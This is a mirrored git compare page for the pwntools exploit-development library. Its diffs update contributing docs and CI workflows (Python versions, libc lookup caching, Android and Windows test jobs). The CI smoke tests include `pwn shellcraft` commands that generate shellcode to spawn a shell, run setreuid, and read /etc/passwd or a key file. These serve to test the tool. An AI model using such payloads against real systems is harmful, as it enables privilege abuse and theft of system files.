mirror of
https://github.com/Gallopsled/pwntools.git
synced 2026-11-08 01:58:16 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
af4918c43f | ||
|
|
01f5cf08d7 | ||
|
|
b83a0ddc8c | ||
|
|
f8432266cd | ||
|
|
a3890a57f2 | ||
|
|
928d2d36df | ||
|
|
d8d47977ac | ||
|
|
3daf28b6be | ||
|
|
f4b3e6e1c4 | ||
|
|
c2b9afc472 | ||
|
|
4904b537bf | ||
|
|
12c7072a77 | ||
|
|
78d1809580 | ||
|
|
2b39684912 | ||
|
|
99a4fe5596 | ||
|
|
1429a134ec | ||
|
|
c8645fef4c | ||
|
|
be8b5480db | ||
|
|
d9eff01662 | ||
|
|
b22998ab12 | ||
|
|
d41db1ff27 | ||
|
|
5efe909a91 | ||
|
|
29c20ddf6e | ||
|
|
b309e102ba | ||
|
|
7f891444b9 | ||
|
|
76da472406 | ||
|
|
508283eac1 | ||
|
|
de073eb151 | ||
|
|
6571ec7de5 | ||
|
|
86cafce196 | ||
|
|
cded3cf1e5 | ||
|
|
09fbd3a681 | ||
|
|
2ec3fe6ac0 | ||
|
|
f4205e5e9e | ||
|
|
6221f41a45 | ||
|
|
4c39ca92f2 | ||
|
|
57de79f0e3 | ||
|
|
5c37c2477b | ||
|
|
fb35a123b4 | ||
|
|
b0e224b02c | ||
|
|
658479605b | ||
|
|
c05fc99200 | ||
|
|
5d48acaa6b | ||
|
|
4e1780781f | ||
|
|
79ca9a962c | ||
|
|
9871b5a112 | ||
|
|
b0d6dcfab8 | ||
|
|
52a354b316 | ||
|
|
bf68cc1e36 | ||
|
|
0304039a07 | ||
|
|
7e5e79d00f | ||
|
|
b4481e1843 | ||
|
|
e88054fe49 | ||
|
|
f81578f450 | ||
|
|
c59b5cd57e | ||
|
|
ee49a2be76 | ||
|
|
9ea29f336a | ||
|
|
b922cbbb8d | ||
|
|
d5a12c12e4 | ||
|
|
ae89355afa | ||
|
|
e551b4ae56 | ||
|
|
ec298d27dd | ||
|
|
43ef1b494c | ||
|
|
e882c9bee6 | ||
|
|
195d7d589e | ||
|
|
be92aa1b4c | ||
|
|
f55f440c07 | ||
|
|
abc6ea86ab | ||
|
|
e6ed0550fa | ||
|
|
6ddff06c4c | ||
|
|
fd3cf3d43f | ||
|
|
5b22add60e | ||
|
|
c45674a601 | ||
|
|
c2f3a2dfca | ||
|
|
a58534382a | ||
|
|
e8bc9dfcc3 | ||
|
|
7d84b89e1a | ||
|
|
0386e8a8ee | ||
|
|
76894a5404 | ||
|
|
fb0d0a5dcb | ||
|
|
9d0238cf30 | ||
|
|
bd82ded522 | ||
|
|
ee29a37ec8 | ||
|
|
4ec81229b4 | ||
|
|
27461431d6 | ||
|
|
a8c89fd34c | ||
|
|
283147e97c | ||
|
|
081b84927f | ||
|
|
5161b5ef23 | ||
|
|
243e6faffa | ||
|
|
839915e18d | ||
|
|
e167068b36 | ||
|
|
ee2e66fed2 | ||
|
|
484a322ea8 | ||
|
|
b20fa8b2d7 | ||
|
|
d8b4927993 | ||
|
|
0eee5af789 | ||
|
|
5a6e60b6e9 | ||
|
|
ea29281d3d | ||
|
|
1320659f9e | ||
|
|
85c7090671 | ||
|
|
7a74e76c48 | ||
|
|
2047463318 | ||
|
|
b7239dce30 | ||
|
|
8863546627 | ||
|
|
5db986e4c8 | ||
|
|
01f8160a05 | ||
|
|
950410dafd | ||
|
|
c2cb5799b6 | ||
|
|
20c55aeb6f | ||
|
|
3525980677 | ||
|
|
e606fa4c62 | ||
|
|
52dc312103 | ||
|
|
1057473647 | ||
|
|
753fcf0da7 | ||
|
|
289bc8ede4 | ||
|
|
49964f6702 | ||
|
|
bfcab4ab32 | ||
|
|
e02b3ba74c | ||
|
|
313e3c2a76 | ||
|
|
07f3caadc4 | ||
|
|
480f174bcf | ||
|
|
3ad86ec5ad | ||
|
|
8b6543466a | ||
|
|
b5076d9262 | ||
|
|
77b4f06b07 | ||
|
|
4968499d11 | ||
|
|
50b4343cd4 | ||
|
|
f38991bc02 | ||
|
|
d0e6ee4b37 | ||
|
|
299b3faa6e | ||
|
|
359aa51f5f | ||
|
|
48ea09b27f | ||
|
|
aea771b8b5 | ||
|
|
9f22a2f202 | ||
|
|
7413a3da31 | ||
|
|
d01b58905c | ||
|
|
e0c70c2312 | ||
|
|
5f7e4e56d4 | ||
|
|
7ba52cceed | ||
|
|
7c83eef178 | ||
|
|
dffacc0d82 | ||
|
|
95aac6e367 | ||
|
|
9ed93a5281 | ||
|
|
3579fb1384 | ||
|
|
a85ad0390b | ||
|
|
b8803eafcd | ||
|
|
485bf0a0b7 | ||
|
|
360f4595f9 | ||
|
|
65c5d15bd9 | ||
|
|
90e66b469c | ||
|
|
9a70d8fa6d | ||
|
|
b133b76b4e | ||
|
|
ffc46d277a | ||
|
|
d665644ae4 | ||
|
|
00f707d0bf | ||
|
|
3677514a71 | ||
|
|
dd3a5f6974 | ||
|
|
9a275b2db0 | ||
|
|
1c28222fe6 | ||
|
|
b93c5ace10 | ||
|
|
da9797c1c2 | ||
|
|
dfcde14df8 | ||
|
|
6dfe8b6f72 | ||
|
|
425221fb30 | ||
|
|
004a6dab88 | ||
|
|
32ba51e965 | ||
|
|
d1021e764e | ||
|
|
932cc375da | ||
|
|
e841b500d7 | ||
|
|
76078a3967 | ||
|
|
6098f28bfa | ||
|
|
1205b1aaa3 | ||
|
|
07ff8864d1 | ||
|
|
ce6d2ca847 | ||
|
|
e5cd224fb1 | ||
|
|
a251f87b16 | ||
|
|
6954b039cd | ||
|
|
9e0ca3a415 | ||
|
|
b60b2e897f | ||
|
|
8928cdf6f3 | ||
|
|
35da0c32e0 | ||
|
|
f98d8e11ab | ||
|
|
2c3e783f96 | ||
|
|
15bdd4a766 | ||
|
|
96e22ac169 | ||
|
|
7c95e838f4 | ||
|
|
92aa64ce01 | ||
|
|
ae4bb08c3e | ||
|
|
6739525ebe | ||
|
|
d10b7aee4c | ||
|
|
e25347743b | ||
|
|
0a46c27afa | ||
|
|
aeb4c26bf0 | ||
|
|
8b30517699 | ||
|
|
60cff24377 | ||
|
|
88672470bd | ||
|
|
3f85ddc4f9 | ||
|
|
a76db16507 | ||
|
|
328b2cd447 | ||
|
|
636b3b2575 | ||
|
|
447ac9496b | ||
|
|
3eb690bd38 | ||
|
|
fa7d76d5ee | ||
|
|
d098431470 | ||
|
|
78d416ba61 | ||
|
|
ec6b8cd87c | ||
|
|
b2345f214e | ||
|
|
e9d9bd9ddb | ||
|
|
6748a7801d | ||
|
|
e51bc74e25 | ||
|
|
cff58e153b | ||
|
|
e3a021d7d1 | ||
|
|
a9b05b55ae | ||
|
|
fac8f1eab3 | ||
|
|
5f616ad8a8 | ||
|
|
29fb02f292 | ||
|
|
d7a7376eca | ||
|
|
9472ec1e93 | ||
|
|
e4b939dc1a | ||
|
|
241b1395c6 | ||
|
|
c02190b5d4 | ||
|
|
e341e238ca | ||
|
|
7741a187ea | ||
|
|
4ef3c16d09 | ||
|
|
fb2ee19b90 | ||
|
|
74a300db6c | ||
|
|
57b9eb9107 | ||
|
|
b2d56fa37c | ||
|
|
a0ddbf5e16 | ||
|
|
1be8ad7770 | ||
|
|
24d217cfbd | ||
|
|
ec262d8d01 | ||
|
|
55ac6e11fc | ||
|
|
96d98cf192 | ||
|
|
6f0793eebc | ||
|
|
51cbdb465d | ||
|
|
61804b169b | ||
|
|
04e90bc754 | ||
|
|
8926a3a2bc | ||
|
|
bb7a85c8df | ||
|
|
3303ea949d | ||
|
|
cef48f4085 | ||
|
|
2ce27dab0d | ||
|
|
fa14663243 | ||
|
|
d2253110bd | ||
|
|
a3b22b748d | ||
|
|
584eccaa33 | ||
|
|
7dceeddca8 | ||
|
|
34da249779 | ||
|
|
c68c00c316 | ||
|
|
2e86d8afe2 | ||
|
|
f28d3ebb6c | ||
|
|
cfc021d88e | ||
|
|
9f92ed04fc | ||
|
|
b08f4b7bc8 | ||
|
|
d664bb49d4 | ||
|
|
c0d6e07f1c | ||
|
|
fa5a288a69 | ||
|
|
69ab2054e8 | ||
|
|
907e921043 | ||
|
|
a3f14df14d | ||
|
|
ee63072930 | ||
|
|
785ed9fdda | ||
|
|
cdfd64f6de | ||
|
|
3727c93859 | ||
|
|
bc453b46c3 | ||
|
|
f47e417e4e | ||
|
|
d7817a7eac | ||
|
|
df620d7449 | ||
|
|
67678c2e1c | ||
|
|
734cb3bf82 | ||
|
|
adaa6abc08 | ||
|
|
3e21808da9 | ||
|
|
405357c075 | ||
|
|
248f4510c6 | ||
|
|
de67c86432 | ||
|
|
101f9bc76b | ||
|
|
4879590a37 | ||
|
|
7194ced044 | ||
|
|
6a9deffbfb | ||
|
|
26e72f2b3e | ||
|
|
00663aa1bf | ||
|
|
18c8bfba3d | ||
|
|
4284c3fcdf | ||
|
|
a366e91038 | ||
|
|
736cf9d112 | ||
|
|
4dc8d60b9e | ||
|
|
d5fffb6769 | ||
|
|
51e8eb09ee | ||
|
|
e92a30bbf7 | ||
|
|
fcec11784a | ||
|
|
fe560c9835 | ||
|
|
27366fdeb8 | ||
|
|
f2f55f3e1c | ||
|
|
7ac5a34a59 | ||
|
|
eec3321ae9 | ||
|
|
d2a02a7b37 | ||
|
|
c1ce1897df | ||
|
|
5981c7290d | ||
|
|
cb540857cc | ||
|
|
8ba1bdf0b6 | ||
|
|
4ac98cd11a | ||
|
|
75cc3c3d5c | ||
|
|
a2acdf9bd9 | ||
|
|
14c0d73f89 | ||
|
|
3b4b261b5a | ||
|
|
000c31c155 | ||
|
|
197f00806e | ||
|
|
e1770a3045 |
No files matched your search
@@ -4,7 +4,7 @@ Thanks for contributing to Pwntools!
|
||||
|
||||
When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
|
||||
|
||||
Please verify that your issue occurs on 64-bit Ubuntu 14.04. You can use the Dockerfile on `docker.io` for quick testing.
|
||||
Please verify that your issue occurs on 64-bit Ubuntu 22.04. You can use the Dockerfile on `docker.io` for quick testing.
|
||||
|
||||
```
|
||||
$ docker pull pwntools/pwntools:stable
|
||||
|
||||
@@ -39,7 +39,7 @@ You should see `[DEBUG]` statements that show what's happening behind the scenes
|
||||
|
||||
## Verify on Ubuntu
|
||||
|
||||
If possible, please verify that your issue occurs on 64-bit Ubuntu 18.04. We provide a Dockerfile based on Ubuntu 18.04 via `docker.io` to make this super simple, no VM required!
|
||||
If possible, please verify that your issue occurs on 64-bit Ubuntu 24.04. We provide a Dockerfile based on Ubuntu 24.04 via `docker.io` to make this super simple, no VM required!
|
||||
|
||||
```sh
|
||||
# Download the Docker image
|
||||
|
||||
@@ -24,7 +24,7 @@ You can always [change the branch][change] after you create the PR if it's again
|
||||
|
||||
[contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
|
||||
[testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
|
||||
[change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
|
||||
[change]: https://github.blog/news-insights/product-news/change-the-base-branch-of-a-pull-request/
|
||||
|
||||
## Changelog
|
||||
|
||||
|
||||
@@ -4,5 +4,8 @@ updates:
|
||||
- package-ecosystem: "github-actions"
|
||||
directory: "/"
|
||||
schedule:
|
||||
# Check for updates to GitHub Actions every week
|
||||
interval: "weekly"
|
||||
# Check for updates to GitHub Actions every month
|
||||
interval: "monthly"
|
||||
groups:
|
||||
github-actions:
|
||||
dependency-type: "production"
|
||||
@@ -1,60 +0,0 @@
|
||||
name: Android Tests
|
||||
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
android-test:
|
||||
strategy:
|
||||
matrix:
|
||||
python-version: [3.8]
|
||||
os: [ubuntu-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Cache for pip
|
||||
uses: actions/cache@v4
|
||||
id: cache-pip
|
||||
with:
|
||||
path: ~/.cache/pip
|
||||
key: ${{ matrix.os }}-cache-pip
|
||||
|
||||
- name: Set up Python ${{ matrix.python-version }}
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
|
||||
- name: Install Linux dependencies
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
|
||||
gdb gdbserver socat \
|
||||
qemu-user-static \
|
||||
binutils-aarch64-linux-gnu \
|
||||
binutils-arm-linux-gnueabihf \
|
||||
libc6-dbg
|
||||
|
||||
- name: Install Android AVD
|
||||
run: |
|
||||
sudo usermod -aG kvm $USER
|
||||
source travis/setup_avd_fast.sh
|
||||
sed -i 's/skip_android = True/skip_android = False/' docs/source/conf.py
|
||||
set | grep ^PATH >.android.env
|
||||
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
pip install --upgrade pip
|
||||
python setup.py egg_info
|
||||
pip install --upgrade --editable .
|
||||
|
||||
- name: Sanity checks
|
||||
run: PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
|
||||
|
||||
- name: Install documentation dependencies
|
||||
run: pip install -r docs/requirements.txt
|
||||
|
||||
- name: Coverage Doctests (Android Only)
|
||||
run: |
|
||||
source .android.env
|
||||
PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest docs/source/adb.rst
|
||||
@@ -15,7 +15,7 @@ jobs:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 5
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v7
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
|
||||
+186
-41
@@ -5,12 +5,28 @@ jobs:
|
||||
test:
|
||||
strategy:
|
||||
matrix:
|
||||
python_version: ['2.7', '3.10']
|
||||
python_version: ['3.10', '3.12', '3.13', '3.14', '3.15']
|
||||
os: [ubuntu-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 30
|
||||
services:
|
||||
libcdb-cache:
|
||||
image: nginx
|
||||
volumes:
|
||||
- /home/runner/libcdb-cache:/var/cache/nginx
|
||||
ports:
|
||||
- 3000:3000 # https://debuginfod.elfutils.org proxy cache
|
||||
- 3001:3001 # https://libc.rip/ proxy cache
|
||||
- 3002:3002 # http://archive.ubuntu.com/ proxy cache
|
||||
- 3003:3003 # https://gitlab.com/ proxy cache
|
||||
- 3004:3004 # https://debuginfod.ubuntu.com/ proxy cache
|
||||
env:
|
||||
DEBUGINFOD_URLS: "http://localhost:3000/ http://localhost:3004/"
|
||||
PWN_LIBCRIP_URL: http://localhost:3001/
|
||||
PWN_UBUNTU_ARCHIVE_URL: http://localhost:3002/
|
||||
PWN_GITLAB_LIBCDB_URL: http://localhost:3003/
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v7
|
||||
with:
|
||||
fetch-depth: 20
|
||||
|
||||
@@ -19,36 +35,44 @@ jobs:
|
||||
git fetch origin
|
||||
git log --oneline --graph -10
|
||||
|
||||
- name: Fix libcdb-cache permissions
|
||||
id: fix-perms
|
||||
run: |
|
||||
sudo chown -R runner:runner /home/runner/libcdb-cache
|
||||
echo "date=$(/bin/date -u "+%Y%m%d%H%M%S")" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Cache for libcdb requests
|
||||
uses: actions/cache@v6
|
||||
with:
|
||||
path: ~/libcdb-cache
|
||||
key: libcdb-python${{ matrix.python_version }}-${{ steps.fix-perms.outputs.date }}
|
||||
restore-keys: |
|
||||
libcdb-python${{ matrix.python_version }}-
|
||||
libcdb-
|
||||
|
||||
- name: Install libcdb-cache service config
|
||||
run: |
|
||||
sudo chown -R 101:101 /home/runner/libcdb-cache
|
||||
container_id=$(docker ps --all --filter volume=/home/runner/libcdb-cache --no-trunc --format "{{.ID}}")
|
||||
docker cp ./travis/libcdb_nginx_cache.conf $container_id:/etc/nginx/nginx.conf
|
||||
docker restart $container_id
|
||||
|
||||
- name: Install RPyC for gdb
|
||||
run: |
|
||||
# The version packaged in python3-rpyc is too old on Ubuntu 22.04
|
||||
# The version packaged in python3-rpyc is too old on Ubuntu 24.04
|
||||
# We use ^6.0 from pip.
|
||||
sudo apt-get update && sudo apt-get install -y python3-pip gdb gdbserver
|
||||
/usr/bin/python -m pip install rpyc
|
||||
/usr/bin/python -m pip install --break-system-packages rpyc || /usr/bin/python -m pip install rpyc
|
||||
gdb --batch --quiet --nx --nh --ex 'py import rpyc; print(rpyc.version.version)'
|
||||
|
||||
- name: Cache for pip
|
||||
uses: actions/cache@v4
|
||||
id: cache-pip
|
||||
with:
|
||||
path: ~/.cache/pip
|
||||
key: ${{ matrix.os }}-cache-pip
|
||||
|
||||
- name: Set up Python ${{ matrix.python_version }}
|
||||
if: matrix.python_version != '2.7'
|
||||
uses: actions/setup-python@v5
|
||||
uses: actions/setup-python@v7
|
||||
with:
|
||||
python-version: ${{ matrix.python_version }}
|
||||
|
||||
- name: Set up Python 2.7
|
||||
if: matrix.python_version == '2.7'
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y \
|
||||
python2.7 python2.7-dev python2-pip-whl
|
||||
sudo ln -sf python2.7 /usr/bin/python
|
||||
export PYTHONPATH=`echo /usr/share/python-wheels/pip-*py2*.whl`
|
||||
sudo --preserve-env=PYTHONPATH python -m pip install --upgrade pip setuptools wheel
|
||||
sudo chown -R $USER /usr/local/lib/python2.7
|
||||
cache: 'pip'
|
||||
cache-dependency-path: |
|
||||
**/pyproject.toml
|
||||
**/requirements*.txt
|
||||
|
||||
|
||||
- name: Verify tag against version
|
||||
@@ -74,22 +98,26 @@ jobs:
|
||||
binutils-aarch64-linux-gnu \
|
||||
binutils-arm-linux-gnueabihf \
|
||||
binutils-mips-linux-gnu \
|
||||
binutils-mipsel-linux-gnu \
|
||||
binutils-msp430 \
|
||||
binutils-powerpc-linux-gnu \
|
||||
binutils-s390x-linux-gnu \
|
||||
binutils-sparc64-linux-gnu \
|
||||
binutils-riscv64-linux-gnu \
|
||||
binutils-loongarch64-linux-gnu \
|
||||
gcc-multilib \
|
||||
libc6-dbg \
|
||||
elfutils \
|
||||
patchelf
|
||||
|
||||
|
||||
# Print diagnostics to help when Corefile doctests fail.
|
||||
- name: Testing Corefiles
|
||||
run: |
|
||||
ulimit -a
|
||||
ulimit -c unlimited
|
||||
cat /proc/sys/kernel/core_pattern
|
||||
cat /proc/sys/kernel/core_uses_pid
|
||||
( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash /var/lib/apport/coredump/core*) || true
|
||||
( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash /var/lib/apport/coredump/core* || coredumpctl list sh) || true
|
||||
|
||||
- name: Set up SSH
|
||||
run: |
|
||||
@@ -101,17 +129,17 @@ jobs:
|
||||
pip install --upgrade wheel build
|
||||
pip install --upgrade flake8 appdirs
|
||||
pip install --upgrade --editable .
|
||||
# Pin to known working version until 2.1.5 is out. https://github.com/unicorn-engine/unicorn/issues/2134
|
||||
pip install 'unicorn==2.1.2'
|
||||
|
||||
- name: Sanity checks
|
||||
run: PWNLIB_NOTERM=1 python -bb -c 'from pwn import *; print(pwnlib.term.term_mode)'
|
||||
run: |
|
||||
PWNLIB_NOTERM=1 python -bb -c 'from pwn import *; print(pwnlib.term.term_mode)'
|
||||
python -c "import hashlib; assert hashlib.algorithms_guaranteed == {'sha256', 'blake2s', 'sha3_384', 'shake_256', 'sha1', 'md5', 'shake_128', 'sha224', 'sha512', 'blake2b', 'sha3_512', 'sha3_224', 'sha3_256', 'sha384'}"
|
||||
|
||||
- name: Install documentation dependencies
|
||||
run: pip install -r docs/requirements.txt
|
||||
|
||||
- name: Manually install non-broken Unicorn
|
||||
if: matrix.python_version == '2.7'
|
||||
run: pip install unicorn==2.0.0rc7
|
||||
|
||||
- name: Disable yama ptrace_scope
|
||||
run: |
|
||||
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests
|
||||
@@ -149,11 +177,18 @@ jobs:
|
||||
pwn shellcraft --list |tail
|
||||
pwn shellcraft -l --syscalls |tail
|
||||
pwn shellcraft -l execve
|
||||
pwn shellcraft -l execve + exit
|
||||
pwn shellcraft --show i386.linux.loader_append
|
||||
pwn shellcraft --show i386.linux.loader_append + i386.linux.sh
|
||||
pwn shellcraft -f asm --color amd64.linux.sh
|
||||
pwn shellcraft -f asm --color amd64.linux.setreuid + amd64.linux.cat /etc/passwd
|
||||
pwn shellcraft -f asm --color amd64.linux.setreuid = amd64.linux.cat /key+secret --delim =
|
||||
pwn shellcraft -f elf amd64.linux.syscalls.exit 0 </dev/null |pwn hex
|
||||
pwn shellcraft -f elf amd64.linux.cat /etc/passwd + amd64.linux.syscalls.exit 0 </dev/null |pwn hex
|
||||
pwn shellcraft -f i --color amd64.linux.cat /etc/passwd </dev/null
|
||||
pwn shellcraft -f i --color amd64.linux.cat /etc/passwd + amd64.linux.sh </dev/null
|
||||
pwn shellcraft -f c amd64.linux.syscalls.exit 0 </dev/null
|
||||
pwn shellcraft -f c amd64.linux.cat /etc/passwd + amd64.linux.syscalls.exit 0 </dev/null
|
||||
pwn shellcraft -f str aarch64.linux.sh </dev/null
|
||||
pwn shellcraft -abr -f elf -o /dev/null amd64.linux.cat /etc/passwd </dev/null
|
||||
pwn shellcraft -nzr thumb.linux.syscalls.execve /bin/cat '["/bin/cat", "/etc/os-release"]' </dev/null
|
||||
@@ -190,38 +225,148 @@ jobs:
|
||||
pwn libcdb hash b229d1da1e161f95e839cf90cded5f719e5de308
|
||||
|
||||
- name: Build source and wheel distributions
|
||||
if: matrix.python_version != '2.7'
|
||||
run: |
|
||||
python -m build
|
||||
|
||||
- uses: actions/upload-artifact@v4
|
||||
if: matrix.python_version != '2.7'
|
||||
- uses: actions/upload-artifact@v7
|
||||
if: matrix.python_version == '3.10'
|
||||
with:
|
||||
name: packages
|
||||
path: dist/
|
||||
include-hidden-files: true
|
||||
|
||||
- uses: actions/upload-artifact@v4
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: coverage-${{ matrix.python_version }}
|
||||
path: .coverage*
|
||||
include-hidden-files: true
|
||||
|
||||
- name: Fix libcdb-cache permissions
|
||||
run: |
|
||||
container_id=$(docker ps --filter volume=/home/runner/libcdb-cache --no-trunc --format "{{.ID}}")
|
||||
docker stop $container_id
|
||||
sudo chown -R runner:runner /home/runner/libcdb-cache
|
||||
|
||||
android-test:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 30
|
||||
continue-on-error: true
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
|
||||
- name: Set up Python 3.12
|
||||
uses: actions/setup-python@v7
|
||||
with:
|
||||
python-version: '3.12'
|
||||
cache: 'pip'
|
||||
cache-dependency-path: |
|
||||
**/pyproject.toml
|
||||
**/requirements*.txt
|
||||
|
||||
- name: Install Linux dependencies
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
|
||||
gdb gdbserver socat \
|
||||
qemu-user-static \
|
||||
binutils-aarch64-linux-gnu \
|
||||
binutils-arm-linux-gnueabihf \
|
||||
libc6-dbg
|
||||
|
||||
- name: Cache for avd
|
||||
uses: actions/cache@v6
|
||||
id: cache-avd
|
||||
with:
|
||||
path: |
|
||||
~/.android
|
||||
/usr/local/lib/android/sdk/emulator
|
||||
/usr/local/lib/android/sdk/platform-tools
|
||||
/usr/local/lib/android/sdk/system-images
|
||||
key: ${{ matrix.os }}-cache-avd-${{ hashFiles('travis/setup_avd*.sh') }}
|
||||
restore-keys: |
|
||||
${{ matrix.os }}-cache-avd-
|
||||
|
||||
- name: Install Android AVD
|
||||
run: |
|
||||
sudo usermod -aG kvm $USER
|
||||
source travis/setup_avd_fast.sh
|
||||
sed -i 's/skip_android = True/skip_android = False/' docs/source/conf.py
|
||||
set | grep ^PATH >.android.env
|
||||
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
pip install --upgrade pip
|
||||
pip install --upgrade wheel build
|
||||
pip install --upgrade flake8 appdirs
|
||||
pip install --upgrade --editable .
|
||||
|
||||
- name: Sanity checks
|
||||
run: PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
|
||||
|
||||
- name: Install documentation dependencies
|
||||
run: pip install -r docs/requirements.txt
|
||||
|
||||
- name: Coverage Doctests (Android Only)
|
||||
run: |
|
||||
source .android.env
|
||||
PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest docs/source/adb.rst
|
||||
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: coverage-android
|
||||
path: .coverage*
|
||||
include-hidden-files: true
|
||||
|
||||
windows-test:
|
||||
runs-on: windows-latest
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
|
||||
- name: Set up Python 3.12
|
||||
uses: actions/setup-python@v7
|
||||
with:
|
||||
python-version: '3.12'
|
||||
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
pip install --upgrade pip
|
||||
pip install --upgrade --editable .
|
||||
|
||||
- name: Install documentation dependencies
|
||||
run: pip install -r docs/requirements.txt
|
||||
|
||||
- name: Sanity checks
|
||||
run: |
|
||||
python -bb -c 'from pwn import *'
|
||||
python -bb examples/text.py
|
||||
|
||||
- name: Coverage doctests
|
||||
run: |
|
||||
python -bb -m coverage run -m sphinx -b doctest docs/source docs/build/doctest
|
||||
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: coverage-windows
|
||||
path: .coverage*
|
||||
include-hidden-files: true
|
||||
|
||||
upload-coverage:
|
||||
runs-on: ubuntu-latest
|
||||
needs: test
|
||||
needs: [test, android-test, windows-test]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v7
|
||||
with:
|
||||
fetch-depth: 20
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
- uses: actions/download-artifact@v8
|
||||
with:
|
||||
pattern: coverage-*
|
||||
merge-multiple: true
|
||||
|
||||
- name: Install coveralls
|
||||
run: |
|
||||
pip install tomli coveralls
|
||||
pip install --break-system-packages tomli coveralls || pip install tomli coveralls
|
||||
|
||||
- name: Upload coverage to coveralls.io
|
||||
run: |
|
||||
@@ -234,7 +379,7 @@ jobs:
|
||||
if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
|
||||
needs: test
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v7
|
||||
with:
|
||||
fetch-depth: 20
|
||||
- name: Push changes to protected branch
|
||||
@@ -256,7 +401,7 @@ jobs:
|
||||
needs: test
|
||||
steps:
|
||||
- name: Download artifacts
|
||||
uses: actions/download-artifact@v4
|
||||
uses: actions/download-artifact@v8
|
||||
with:
|
||||
name: packages
|
||||
path: dist
|
||||
|
||||
@@ -13,16 +13,16 @@ jobs:
|
||||
steps:
|
||||
# Required for subdirectories in Git context
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
uses: docker/setup-buildx-action@v4
|
||||
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
uses: docker/login-action@v4
|
||||
with:
|
||||
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_PASSWORD }}
|
||||
|
||||
- name: Build and push base image
|
||||
uses: docker/build-push-action@v5
|
||||
uses: docker/build-push-action@v7
|
||||
if: github.event_name == 'workflow_dispatch'
|
||||
with:
|
||||
context: "{{defaultContext}}:extra/docker/base"
|
||||
@@ -30,7 +30,7 @@ jobs:
|
||||
tags: pwntools/pwntools:base
|
||||
|
||||
- name: Build and push stable image
|
||||
uses: docker/build-push-action@v5
|
||||
uses: docker/build-push-action@v7
|
||||
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/stable')
|
||||
with:
|
||||
context: "{{defaultContext}}:extra/docker/stable"
|
||||
@@ -38,7 +38,7 @@ jobs:
|
||||
tags: pwntools/pwntools:stable
|
||||
|
||||
- name: Build and push beta image
|
||||
uses: docker/build-push-action@v5
|
||||
uses: docker/build-push-action@v7
|
||||
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/beta')
|
||||
with:
|
||||
context: "{{defaultContext}}:extra/docker/beta"
|
||||
@@ -46,7 +46,7 @@ jobs:
|
||||
tags: pwntools/pwntools:beta
|
||||
|
||||
- name: Build and push dev image
|
||||
uses: docker/build-push-action@v5
|
||||
uses: docker/build-push-action@v7
|
||||
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
|
||||
with:
|
||||
context: "{{defaultContext}}:extra/docker/dev"
|
||||
@@ -56,7 +56,7 @@ jobs:
|
||||
pwntools/pwntools:latest
|
||||
|
||||
- name: Build and push ci image
|
||||
uses: docker/build-push-action@v5
|
||||
uses: docker/build-push-action@v7
|
||||
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
|
||||
with:
|
||||
context: "{{defaultContext}}:travis/docker"
|
||||
|
||||
@@ -5,23 +5,21 @@ jobs:
|
||||
lint:
|
||||
strategy:
|
||||
matrix:
|
||||
python-version: [3.8]
|
||||
python-version: ['3.10']
|
||||
os: [ubuntu-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
